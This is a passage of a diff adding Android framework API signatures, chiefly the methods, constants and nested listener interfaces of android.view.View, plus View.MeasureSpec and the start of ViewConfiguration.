+    method public void onScrollCaptureSearch(@NonNull android.graphics.Rect, @NonNull android.graphics.Point, @NonNull java.util.function.Consumer<android.view.ScrollCaptureTarget>);
+    method protected void onScrollChanged(int, int, int, int);
+    method protected boolean onSetAlpha(int);
+    method protected void onSizeChanged(int, int, int, int);
+    method public void onStartTemporaryDetach();
+    method public boolean onTouchEvent(android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.view.MotionEvent);
+    method public void onViewTranslationResponse(@NonNull android.view.translation.ViewTranslationResponse);
+    method public void onVirtualViewTranslationResponses(@NonNull android.util.LongSparseArray<android.view.translation.ViewTranslationResponse>);
+    method @CallSuper public void onVisibilityAggregated(boolean);
+    method protected void onVisibilityChanged(@NonNull android.view.View, int);
+    method public void onWindowFocusChanged(boolean);
+    method @Deprecated public void onWindowSystemUiVisibilityChanged(int);
+    method protected void onWindowVisibilityChanged(int);
+    method protected boolean overScrollBy(int, int, int, int, int, int, int, int, boolean);
+    method public boolean performAccessibilityAction(int, android.os.Bundle);
+    method public boolean performClick();
+    method public boolean performContextClick(float, float);
+    method public boolean performContextClick();
+    method public boolean performHapticFeedback(int);
+    method public boolean performHapticFeedback(int, int);
+    method public boolean performLongClick();
+    method public boolean performLongClick(float, float);
+    method @Nullable public android.view.ContentInfo performReceiveContent(@NonNull android.view.ContentInfo);
+    method public void playSoundEffect(int);
+    method public boolean post(Runnable);
+    method public boolean postDelayed(Runnable, long);
+    method public void postInvalidate();
+    method public void postInvalidate(int, int, int, int);
+    method public void postInvalidateDelayed(long);
+    method public void postInvalidateDelayed(long, int, int, int, int);
+    method public void postInvalidateOnAnimation();
+    method public void postInvalidateOnAnimation(int, int, int, int);
+    method public void postOnAnimation(Runnable);
+    method public void postOnAnimationDelayed(Runnable, long);
+    method public void refreshDrawableState();
+    method public void releasePointerCapture();
+    method public boolean removeCallbacks(Runnable);
+    method public void removeOnAttachStateChangeListener(android.view.View.OnAttachStateChangeListener);
+    method public void removeOnLayoutChangeListener(android.view.View.OnLayoutChangeListener);
+    method public void removeOnUnhandledKeyEventListener(android.view.View.OnUnhandledKeyEventListener);
+    method public void requestApplyInsets();
+    method @Deprecated public void requestFitSystemWindows();
+    method public final boolean requestFocus();
+    method public final boolean requestFocus(int);
+    method public boolean requestFocus(int, android.graphics.Rect);
+    method public final boolean requestFocusFromTouch();
+    method @CallSuper public void requestLayout();
+    method public void requestPointerCapture();
+    method public boolean requestRectangleOnScreen(android.graphics.Rect);
+    method public boolean requestRectangleOnScreen(android.graphics.Rect, boolean);
+    method public final void requestUnbufferedDispatch(android.view.MotionEvent);
+    method public final void requestUnbufferedDispatch(int);
+    method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
+    method public void resetPivot();
+    method public static int resolveSize(int, int);
+    method public static int resolveSizeAndState(int, int, int);
+    method public boolean restoreDefaultFocus();
+    method public void restoreHierarchyState(android.util.SparseArray<android.os.Parcelable>);
+    method public final void saveAttributeDataForStyleable(@NonNull android.content.Context, @NonNull int[], @Nullable android.util.AttributeSet, @NonNull android.content.res.TypedArray, int, int);
+    method public void saveHierarchyState(android.util.SparseArray<android.os.Parcelable>);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void scrollBy(int, int);
+    method public void scrollTo(int, int);
+    method public void sendAccessibilityEvent(int);
+    method public void sendAccessibilityEventUnchecked(android.view.accessibility.AccessibilityEvent);
+    method public void setAccessibilityDelegate(@Nullable android.view.View.AccessibilityDelegate);
+    method public void setAccessibilityHeading(boolean);
+    method public void setAccessibilityLiveRegion(int);
+    method public void setAccessibilityPaneTitle(@Nullable CharSequence);
+    method public void setAccessibilityTraversalAfter(@IdRes int);
+    method public void setAccessibilityTraversalBefore(@IdRes int);
+    method public void setActivated(boolean);
+    method public void setAllowClickWhenDisabled(boolean);
+    method public void setAlpha(@FloatRange(from=0.0, to=1.0) float);
+    method public void setAnimation(android.view.animation.Animation);
+    method public void setAnimationMatrix(@Nullable android.graphics.Matrix);
+    method public void setAutofillHints(@Nullable java.lang.String...);
+    method public void setAutofillId(@Nullable android.view.autofill.AutofillId);
+    method public void setBackground(android.graphics.drawable.Drawable);
+    method public void setBackgroundColor(@ColorInt int);
+    method @Deprecated public void setBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setBackgroundResource(@DrawableRes int);
+    method public void setBackgroundTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setBackgroundTintList(@Nullable android.content.res.ColorStateList);
+    method public void setBackgroundTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public final void setBottom(int);
+    method public void setCameraDistance(float);
+    method public void setClickable(boolean);
+    method public void setClipBounds(android.graphics.Rect);
+    method public void setClipToOutline(boolean);
+    method public void setContentCaptureSession(@Nullable android.view.contentcapture.ContentCaptureSession);
+    method public void setContentDescription(CharSequence);
+    method public void setContextClickable(boolean);
+    method public void setDefaultFocusHighlightEnabled(boolean);
+    method @Deprecated public void setDrawingCacheBackgroundColor(@ColorInt int);
+    method @Deprecated public void setDrawingCacheEnabled(boolean);
+    method @Deprecated public void setDrawingCacheQuality(int);
+    method public void setDuplicateParentStateEnabled(boolean);
+    method public void setElevation(float);
+    method public void setEnabled(boolean);
+    method public void setFadingEdgeLength(int);
+    method public void setFilterTouchesWhenObscured(boolean);
+    method public void setFitsSystemWindows(boolean);
+    method public void setFocusable(boolean);
+    method public void setFocusable(int);
+    method public void setFocusableInTouchMode(boolean);
+    method public void setFocusedByDefault(boolean);
+    method public void setForceDarkAllowed(boolean);
+    method public void setForeground(android.graphics.drawable.Drawable);
+    method public void setForegroundGravity(int);
+    method public void setForegroundTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setForegroundTintList(@Nullable android.content.res.ColorStateList);
+    method public void setForegroundTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setHapticFeedbackEnabled(boolean);
+    method public void setHasTransientState(boolean);
+    method public void setHorizontalFadingEdgeEnabled(boolean);
+    method public void setHorizontalScrollBarEnabled(boolean);
+    method public void setHorizontalScrollbarThumbDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setHorizontalScrollbarTrackDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setHovered(boolean);
+    method public void setId(@IdRes int);
+    method public void setImportantForAccessibility(int);
+    method public void setImportantForAutofill(int);
+    method public void setImportantForContentCapture(int);
+    method public void setKeepScreenOn(boolean);
+    method public void setKeyboardNavigationCluster(boolean);
+    method public void setLabelFor(@IdRes int);
+    method public void setLayerPaint(@Nullable android.graphics.Paint);
+    method public void setLayerType(int, @Nullable android.graphics.Paint);
+    method public void setLayoutDirection(int);
+    method public void setLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public final void setLeft(int);
+    method public final void setLeftTopRightBottom(int, int, int, int);
+    method public void setLongClickable(boolean);
+    method protected final void setMeasuredDimension(int, int);
+    method public void setMinimumHeight(int);
+    method public void setMinimumWidth(int);
+    method public void setNestedScrollingEnabled(boolean);
+    method public void setNextClusterForwardId(@IdRes int);
+    method public void setNextFocusDownId(@IdRes int);
+    method public void setNextFocusForwardId(@IdRes int);
+    method public void setNextFocusLeftId(@IdRes int);
+    method public void setNextFocusRightId(@IdRes int);
+    method public void setNextFocusUpId(@IdRes int);
+    method public void setOnApplyWindowInsetsListener(android.view.View.OnApplyWindowInsetsListener);
+    method public void setOnCapturedPointerListener(android.view.View.OnCapturedPointerListener);
+    method public void setOnClickListener(@Nullable android.view.View.OnClickListener);
+    method public void setOnContextClickListener(@Nullable android.view.View.OnContextClickListener);
+    method public void setOnCreateContextMenuListener(android.view.View.OnCreateContextMenuListener);
+    method public void setOnDragListener(android.view.View.OnDragListener);
+    method public void setOnFocusChangeListener(android.view.View.OnFocusChangeListener);
+    method public void setOnGenericMotionListener(android.view.View.OnGenericMotionListener);
+    method public void setOnHoverListener(android.view.View.OnHoverListener);
+    method public void setOnKeyListener(android.view.View.OnKeyListener);
+    method public void setOnLongClickListener(@Nullable android.view.View.OnLongClickListener);
+    method public void setOnReceiveContentListener(@Nullable String[], @Nullable android.view.OnReceiveContentListener);
+    method public void setOnScrollChangeListener(android.view.View.OnScrollChangeListener);
+    method @Deprecated public void setOnSystemUiVisibilityChangeListener(android.view.View.OnSystemUiVisibilityChangeListener);
+    method public void setOnTouchListener(android.view.View.OnTouchListener);
+    method public void setOutlineAmbientShadowColor(@ColorInt int);
+    method public void setOutlineProvider(android.view.ViewOutlineProvider);
+    method public void setOutlineSpotShadowColor(@ColorInt int);
+    method public void setOverScrollMode(int);
+    method public void setPadding(int, int, int, int);
+    method public void setPaddingRelative(int, int, int, int);
+    method public void setPivotX(float);
+    method public void setPivotY(float);
+    method public void setPointerIcon(android.view.PointerIcon);
+    method public void setPressed(boolean);
+    method public void setRenderEffect(@Nullable android.graphics.RenderEffect);
+    method public final void setRevealOnFocusHint(boolean);
+    method public final void setRight(int);
+    method public void setRotation(float);
+    method public void setRotationX(float);
+    method public void setRotationY(float);
+    method public void setSaveEnabled(boolean);
+    method public void setSaveFromParentEnabled(boolean);
+    method public void setScaleX(float);
+    method public void setScaleY(float);
+    method public void setScreenReaderFocusable(boolean);
+    method public void setScrollBarDefaultDelayBeforeFade(int);
+    method public void setScrollBarFadeDuration(int);
+    method public void setScrollBarSize(int);
+    method public void setScrollBarStyle(int);
+    method public final void setScrollCaptureCallback(@Nullable android.view.ScrollCaptureCallback);
+    method public void setScrollCaptureHint(int);
+    method public void setScrollContainer(boolean);
+    method public void setScrollIndicators(int);
+    method public void setScrollIndicators(int, int);
+    method public void setScrollX(int);
+    method public void setScrollY(int);
+    method public void setScrollbarFadingEnabled(boolean);
+    method public void setSelected(boolean);
+    method public void setSoundEffectsEnabled(boolean);
+    method public void setStateDescription(@Nullable CharSequence);
+    method public void setStateListAnimator(android.animation.StateListAnimator);
+    method public void setSystemGestureExclusionRects(@NonNull java.util.List<android.graphics.Rect>);
+    method @Deprecated public void setSystemUiVisibility(int);
+    method public void setTag(Object);
+    method public void setTag(int, Object);
+    method public void setTextAlignment(int);
+    method public void setTextDirection(int);
+    method public void setTooltipText(@Nullable CharSequence);
+    method public final void setTop(int);
+    method public void setTouchDelegate(android.view.TouchDelegate);
+    method public void setTransitionAlpha(float);
+    method public final void setTransitionName(String);
+    method public void setTransitionVisibility(int);
+    method public void setTranslationX(float);
+    method public void setTranslationY(float);
+    method public void setTranslationZ(float);
+    method public void setVerticalFadingEdgeEnabled(boolean);
+    method public void setVerticalScrollBarEnabled(boolean);
+    method public void setVerticalScrollbarPosition(int);
+    method public void setVerticalScrollbarThumbDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setVerticalScrollbarTrackDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setViewTranslationCallback(@NonNull android.view.translation.ViewTranslationCallback);
+    method public void setVisibility(int);
+    method @Deprecated public void setWillNotCacheDrawing(boolean);
+    method public void setWillNotDraw(boolean);
+    method public void setWindowInsetsAnimationCallback(@Nullable android.view.WindowInsetsAnimation.Callback);
+    method public void setX(float);
+    method public void setY(float);
+    method public void setZ(float);
+    method public boolean showContextMenu();
+    method public boolean showContextMenu(float, float);
+    method public android.view.ActionMode startActionMode(android.view.ActionMode.Callback);
+    method public android.view.ActionMode startActionMode(android.view.ActionMode.Callback, int);
+    method public void startAnimation(android.view.animation.Animation);
+    method @Deprecated public final boolean startDrag(android.content.ClipData, android.view.View.DragShadowBuilder, Object, int);
+    method public final boolean startDragAndDrop(android.content.ClipData, android.view.View.DragShadowBuilder, Object, int);
+    method public boolean startNestedScroll(int);
+    method public void stopNestedScroll();
+    method public void transformMatrixToGlobal(@NonNull android.graphics.Matrix);
+    method public void transformMatrixToLocal(@NonNull android.graphics.Matrix);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+    method public void unscheduleDrawable(android.graphics.drawable.Drawable);
+    method public final void updateDragShadow(android.view.View.DragShadowBuilder);
+    method @CallSuper protected boolean verifyDrawable(@NonNull android.graphics.drawable.Drawable);
+    method @Deprecated public boolean willNotCacheDrawing();
+    method public boolean willNotDraw();
+    field public static final int ACCESSIBILITY_LIVE_REGION_ASSERTIVE = 2; // 0x2
+    field public static final int ACCESSIBILITY_LIVE_REGION_NONE = 0; // 0x0
+    field public static final int ACCESSIBILITY_LIVE_REGION_POLITE = 1; // 0x1
+    field public static final android.util.Property<android.view.View,java.lang.Float> ALPHA;
+    field public static final int AUTOFILL_FLAG_INCLUDE_NOT_IMPORTANT_VIEWS = 1; // 0x1
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_EXPIRATION_DATE = "creditCardExpirationDate";
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_EXPIRATION_DAY = "creditCardExpirationDay";
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_EXPIRATION_MONTH = "creditCardExpirationMonth";
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_EXPIRATION_YEAR = "creditCardExpirationYear";
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_NUMBER = "creditCardNumber";
+    field public static final String AUTOFILL_HINT_CREDIT_CARD_SECURITY_CODE = "creditCardSecurityCode";
+    field public static final String AUTOFILL_HINT_EMAIL_ADDRESS = "emailAddress";
+    field public static final String AUTOFILL_HINT_NAME = "name";
+    field public static final String AUTOFILL_HINT_PASSWORD = "password";
+    field public static final String AUTOFILL_HINT_PHONE = "phone";
+    field public static final String AUTOFILL_HINT_POSTAL_ADDRESS = "postalAddress";
+    field public static final String AUTOFILL_HINT_POSTAL_CODE = "postalCode";
+    field public static final String AUTOFILL_HINT_USERNAME = "username";
+    field public static final int AUTOFILL_TYPE_DATE = 4; // 0x4
+    field public static final int AUTOFILL_TYPE_LIST = 3; // 0x3
+    field public static final int AUTOFILL_TYPE_NONE = 0; // 0x0
+    field public static final int AUTOFILL_TYPE_TEXT = 1; // 0x1
+    field public static final int AUTOFILL_TYPE_TOGGLE = 2; // 0x2
+    field public static final int DRAG_FLAG_GLOBAL = 256; // 0x100
+    field public static final int DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION = 64; // 0x40
+    field public static final int DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION = 128; // 0x80
+    field public static final int DRAG_FLAG_GLOBAL_URI_READ = 1; // 0x1
+    field public static final int DRAG_FLAG_GLOBAL_URI_WRITE = 2; // 0x2
+    field public static final int DRAG_FLAG_OPAQUE = 512; // 0x200
+    field @Deprecated public static final int DRAWING_CACHE_QUALITY_AUTO = 0; // 0x0
+    field @Deprecated public static final int DRAWING_CACHE_QUALITY_HIGH = 1048576; // 0x100000
+    field @Deprecated public static final int DRAWING_CACHE_QUALITY_LOW = 524288; // 0x80000
+    field protected static final int[] EMPTY_STATE_SET;
+    field protected static final int[] ENABLED_FOCUSED_SELECTED_STATE_SET;
+    field protected static final int[] ENABLED_FOCUSED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] ENABLED_FOCUSED_STATE_SET;
+    field protected static final int[] ENABLED_FOCUSED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] ENABLED_SELECTED_STATE_SET;
+    field protected static final int[] ENABLED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] ENABLED_STATE_SET;
+    field protected static final int[] ENABLED_WINDOW_FOCUSED_STATE_SET;
+    field public static final int FIND_VIEWS_WITH_CONTENT_DESCRIPTION = 2; // 0x2
+    field public static final int FIND_VIEWS_WITH_TEXT = 1; // 0x1
+    field public static final int FOCUSABLE = 1; // 0x1
+    field public static final int FOCUSABLES_ALL = 0; // 0x0
+    field public static final int FOCUSABLES_TOUCH_MODE = 1; // 0x1
+    field public static final int FOCUSABLE_AUTO = 16; // 0x10
+    field protected static final int[] FOCUSED_SELECTED_STATE_SET;
+    field protected static final int[] FOCUSED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] FOCUSED_STATE_SET;
+    field protected static final int[] FOCUSED_WINDOW_FOCUSED_STATE_SET;
+    field public static final int FOCUS_BACKWARD = 1; // 0x1
+    field public static final int FOCUS_DOWN = 130; // 0x82
+    field public static final int FOCUS_FORWARD = 2; // 0x2
+    field public static final int FOCUS_LEFT = 17; // 0x11
+    field public static final int FOCUS_RIGHT = 66; // 0x42
+    field public static final int FOCUS_UP = 33; // 0x21
+    field public static final int GONE = 8; // 0x8
+    field public static final int HAPTIC_FEEDBACK_ENABLED = 268435456; // 0x10000000
+    field public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0; // 0x0
+    field public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2; // 0x2
+    field public static final int IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS = 4; // 0x4
+    field public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1; // 0x1
+    field public static final int IMPORTANT_FOR_AUTOFILL_AUTO = 0; // 0x0
+    field public static final int IMPORTANT_FOR_AUTOFILL_NO = 2; // 0x2
+    field public static final int IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS = 8; // 0x8
+    field public static final int IMPORTANT_FOR_AUTOFILL_YES = 1; // 0x1
+    field public static final int IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS = 4; // 0x4
+    field public static final int IMPORTANT_FOR_CONTENT_CAPTURE_AUTO = 0; // 0x0
+    field public static final int IMPORTANT_FOR_CONTENT_CAPTURE_NO = 2; // 0x2
+    field public static final int IMPORTANT_FOR_CONTENT_CAPTURE_NO_EXCLUDE_DESCENDANTS = 8; // 0x8
+    field public static final int IMPORTANT_FOR_CONTENT_CAPTURE_YES = 1; // 0x1
+    field public static final int IMPORTANT_FOR_CONTENT_CAPTURE_YES_EXCLUDE_DESCENDANTS = 4; // 0x4
+    field public static final int INVISIBLE = 4; // 0x4
+    field public static final int KEEP_SCREEN_ON = 67108864; // 0x4000000
+    field public static final int LAYER_TYPE_HARDWARE = 2; // 0x2
+    field public static final int LAYER_TYPE_NONE = 0; // 0x0
+    field public static final int LAYER_TYPE_SOFTWARE = 1; // 0x1
+    field public static final int LAYOUT_DIRECTION_INHERIT = 2; // 0x2
+    field public static final int LAYOUT_DIRECTION_LOCALE = 3; // 0x3
+    field public static final int LAYOUT_DIRECTION_LTR = 0; // 0x0
+    field public static final int LAYOUT_DIRECTION_RTL = 1; // 0x1
+    field public static final int MEASURED_HEIGHT_STATE_SHIFT = 16; // 0x10
+    field public static final int MEASURED_SIZE_MASK = 16777215; // 0xffffff
+    field public static final int MEASURED_STATE_MASK = -16777216; // 0xff000000
+    field public static final int MEASURED_STATE_TOO_SMALL = 16777216; // 0x1000000
+    field public static final int NOT_FOCUSABLE = 0; // 0x0
+    field public static final int NO_ID = -1; // 0xffffffff
+    field public static final int OVER_SCROLL_ALWAYS = 0; // 0x0
+    field public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1; // 0x1
+    field public static final int OVER_SCROLL_NEVER = 2; // 0x2
+    field protected static final int[] PRESSED_ENABLED_FOCUSED_SELECTED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_FOCUSED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_FOCUSED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_SELECTED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_STATE_SET;
+    field protected static final int[] PRESSED_ENABLED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_FOCUSED_SELECTED_STATE_SET;
+    field protected static final int[] PRESSED_FOCUSED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_FOCUSED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_SELECTED_STATE_SET;
+    field protected static final int[] PRESSED_SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field protected static final int[] PRESSED_STATE_SET;
+    field protected static final int[] PRESSED_WINDOW_FOCUSED_STATE_SET;
+    field public static final android.util.Property<android.view.View,java.lang.Float> ROTATION;
+    field public static final android.util.Property<android.view.View,java.lang.Float> ROTATION_X;
+    field public static final android.util.Property<android.view.View,java.lang.Float> ROTATION_Y;
+    field public static final android.util.Property<android.view.View,java.lang.Float> SCALE_X;
+    field public static final android.util.Property<android.view.View,java.lang.Float> SCALE_Y;
+    field public static final int SCREEN_STATE_OFF = 0; // 0x0
+    field public static final int SCREEN_STATE_ON = 1; // 0x1
+    field public static final int SCROLLBARS_INSIDE_INSET = 16777216; // 0x1000000
+    field public static final int SCROLLBARS_INSIDE_OVERLAY = 0; // 0x0
+    field public static final int SCROLLBARS_OUTSIDE_INSET = 50331648; // 0x3000000
+    field public static final int SCROLLBARS_OUTSIDE_OVERLAY = 33554432; // 0x2000000
+    field public static final int SCROLLBAR_POSITION_DEFAULT = 0; // 0x0
+    field public static final int SCROLLBAR_POSITION_LEFT = 1; // 0x1
+    field public static final int SCROLLBAR_POSITION_RIGHT = 2; // 0x2
+    field public static final int SCROLL_AXIS_HORIZONTAL = 1; // 0x1
+    field public static final int SCROLL_AXIS_NONE = 0; // 0x0
+    field public static final int SCROLL_AXIS_VERTICAL = 2; // 0x2
+    field public static final int SCROLL_CAPTURE_HINT_AUTO = 0; // 0x0
+    field public static final int SCROLL_CAPTURE_HINT_EXCLUDE = 1; // 0x1
+    field public static final int SCROLL_CAPTURE_HINT_EXCLUDE_DESCENDANTS = 4; // 0x4
+    field public static final int SCROLL_CAPTURE_HINT_INCLUDE = 2; // 0x2
+    field public static final int SCROLL_INDICATOR_BOTTOM = 2; // 0x2
+    field public static final int SCROLL_INDICATOR_END = 32; // 0x20
+    field public static final int SCROLL_INDICATOR_LEFT = 4; // 0x4
+    field public static final int SCROLL_INDICATOR_RIGHT = 8; // 0x8
+    field public static final int SCROLL_INDICATOR_START = 16; // 0x10
+    field public static final int SCROLL_INDICATOR_TOP = 1; // 0x1
+    field protected static final int[] SELECTED_STATE_SET;
+    field protected static final int[] SELECTED_WINDOW_FOCUSED_STATE_SET;
+    field public static final int SOUND_EFFECTS_ENABLED = 134217728; // 0x8000000
+    field @Deprecated public static final int STATUS_BAR_HIDDEN = 1; // 0x1
+    field @Deprecated public static final int STATUS_BAR_VISIBLE = 0; // 0x0
+    field @Deprecated public static final int SYSTEM_UI_FLAG_FULLSCREEN = 4; // 0x4
+    field @Deprecated public static final int SYSTEM_UI_FLAG_HIDE_NAVIGATION = 2; // 0x2
+    field @Deprecated public static final int SYSTEM_UI_FLAG_IMMERSIVE = 2048; // 0x800
+    field @Deprecated public static final int SYSTEM_UI_FLAG_IMMERSIVE_STICKY = 4096; // 0x1000
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN = 1024; // 0x400
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION = 512; // 0x200
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LAYOUT_STABLE = 256; // 0x100
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR = 16; // 0x10
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LIGHT_STATUS_BAR = 8192; // 0x2000
+    field @Deprecated public static final int SYSTEM_UI_FLAG_LOW_PROFILE = 1; // 0x1
+    field @Deprecated public static final int SYSTEM_UI_FLAG_VISIBLE = 0; // 0x0
+    field @Deprecated public static final int SYSTEM_UI_LAYOUT_FLAGS = 1536; // 0x600
+    field public static final int TEXT_ALIGNMENT_CENTER = 4; // 0x4
+    field public static final int TEXT_ALIGNMENT_GRAVITY = 1; // 0x1
+    field public static final int TEXT_ALIGNMENT_INHERIT = 0; // 0x0
+    field public static final int TEXT_ALIGNMENT_TEXT_END = 3; // 0x3
+    field public static final int TEXT_ALIGNMENT_TEXT_START = 2; // 0x2
+    field public static final int TEXT_ALIGNMENT_VIEW_END = 6; // 0x6
+    field public static final int TEXT_ALIGNMENT_VIEW_START = 5; // 0x5
+    field public static final int TEXT_DIRECTION_ANY_RTL = 2; // 0x2
+    field public static final int TEXT_DIRECTION_FIRST_STRONG = 1; // 0x1
+    field public static final int TEXT_DIRECTION_FIRST_STRONG_LTR = 6; // 0x6
+    field public static final int TEXT_DIRECTION_FIRST_STRONG_RTL = 7; // 0x7
+    field public static final int TEXT_DIRECTION_INHERIT = 0; // 0x0
+    field public static final int TEXT_DIRECTION_LOCALE = 5; // 0x5
+    field public static final int TEXT_DIRECTION_LTR = 3; // 0x3
+    field public static final int TEXT_DIRECTION_RTL = 4; // 0x4
+    field public static final android.util.Property<android.view.View,java.lang.Float> TRANSLATION_X;
+    field public static final android.util.Property<android.view.View,java.lang.Float> TRANSLATION_Y;
+    field public static final android.util.Property<android.view.View,java.lang.Float> TRANSLATION_Z;
+    field protected static final String VIEW_LOG_TAG = "View";
+    field public static final int VISIBLE = 0; // 0x0
+    field protected static final int[] WINDOW_FOCUSED_STATE_SET;
+    field public static final android.util.Property<android.view.View,java.lang.Float> X;
+    field public static final android.util.Property<android.view.View,java.lang.Float> Y;
+    field public static final android.util.Property<android.view.View,java.lang.Float> Z;
+  }
+
+  public static class View.AccessibilityDelegate {
+    ctor public View.AccessibilityDelegate();
+    method public void addExtraDataToAccessibilityNodeInfo(@NonNull android.view.View, @NonNull android.view.accessibility.AccessibilityNodeInfo, @NonNull String, @Nullable android.os.Bundle);
+    method public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider(android.view.View);
+    method public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
+    method public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
+    method public void sendAccessibilityEvent(android.view.View, int);
+    method public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
+  }
+
+  public static class View.BaseSavedState extends android.view.AbsSavedState {
+    ctor public View.BaseSavedState(android.os.Parcel);
+    ctor public View.BaseSavedState(android.os.Parcel, ClassLoader);
+    ctor public View.BaseSavedState(android.os.Parcelable);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.View.BaseSavedState> CREATOR;
+  }
+
+  public static class View.DragShadowBuilder {
+    ctor public View.DragShadowBuilder(android.view.View);
+    ctor public View.DragShadowBuilder();
+    method public final android.view.View getView();
+    method public void onDrawShadow(android.graphics.Canvas);
+    method public void onProvideShadowMetrics(android.graphics.Point, android.graphics.Point);
+  }
+
+  public static class View.MeasureSpec {
+    ctor public View.MeasureSpec();
+    method public static int getMode(int);
+    method public static int getSize(int);
+    method public static int makeMeasureSpec(@IntRange(from=0, to=0x40000000 - 1) int, int);
+    method public static String toString(int);
+    field public static final int AT_MOST = -2147483648; // 0x80000000
+    field public static final int EXACTLY = 1073741824; // 0x40000000
+    field public static final int UNSPECIFIED = 0; // 0x0
+  }
+
+  public static interface View.OnApplyWindowInsetsListener {
+    method public android.view.WindowInsets onApplyWindowInsets(android.view.View, android.view.WindowInsets);
+  }
+
+  public static interface View.OnAttachStateChangeListener {
+    method public void onViewAttachedToWindow(android.view.View);
+    method public void onViewDetachedFromWindow(android.view.View);
+  }
+
+  public static interface View.OnCapturedPointerListener {
+    method public boolean onCapturedPointer(android.view.View, android.view.MotionEvent);
+  }
+
+  public static interface View.OnClickListener {
+    method public void onClick(android.view.View);
+  }
+
+  public static interface View.OnContextClickListener {
+    method public boolean onContextClick(android.view.View);
+  }
+
+  public static interface View.OnCreateContextMenuListener {
+    method public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo);
+  }
+
+  public static interface View.OnDragListener {
+    method public boolean onDrag(android.view.View, android.view.DragEvent);
+  }
+
+  public static interface View.OnFocusChangeListener {
+    method public void onFocusChange(android.view.View, boolean);
+  }
+
+  public static interface View.OnGenericMotionListener {
+    method public boolean onGenericMotion(android.view.View, android.view.MotionEvent);
+  }
+
+  public static interface View.OnHoverListener {
+    method public boolean onHover(android.view.View, android.view.MotionEvent);
+  }
+
+  public static interface View.OnKeyListener {
+    method public boolean onKey(android.view.View, int, android.view.KeyEvent);
+  }
+
+  public static interface View.OnLayoutChangeListener {
+    method public void onLayoutChange(android.view.View, int, int, int, int, int, int, int, int);
+  }
+
+  public static interface View.OnLongClickListener {
+    method public boolean onLongClick(android.view.View);
+  }
+
+  public static interface View.OnScrollChangeListener {
+    method public void onScrollChange(android.view.View, int, int, int, int);
+  }
+
+  @Deprecated public static interface View.OnSystemUiVisibilityChangeListener {
+    method @Deprecated public void onSystemUiVisibilityChange(int);
+  }
+
+  public static interface View.OnTouchListener {
+    method public boolean onTouch(android.view.View, android.view.MotionEvent);
+  }
+
+  public static interface View.OnUnhandledKeyEventListener {
+    method public boolean onUnhandledKeyEvent(android.view.View, android.view.KeyEvent);
+  }
+
+  public final class ViewAnimationUtils {
+    method public static android.animation.Animator createCircularReveal(android.view.View, int, int, float, float);
+  }
+
+  public class ViewConfiguration {
+    ctor @Deprecated public ViewConfiguration();
+    method public static android.view.ViewConfiguration get(@UiContext android.content.Context);
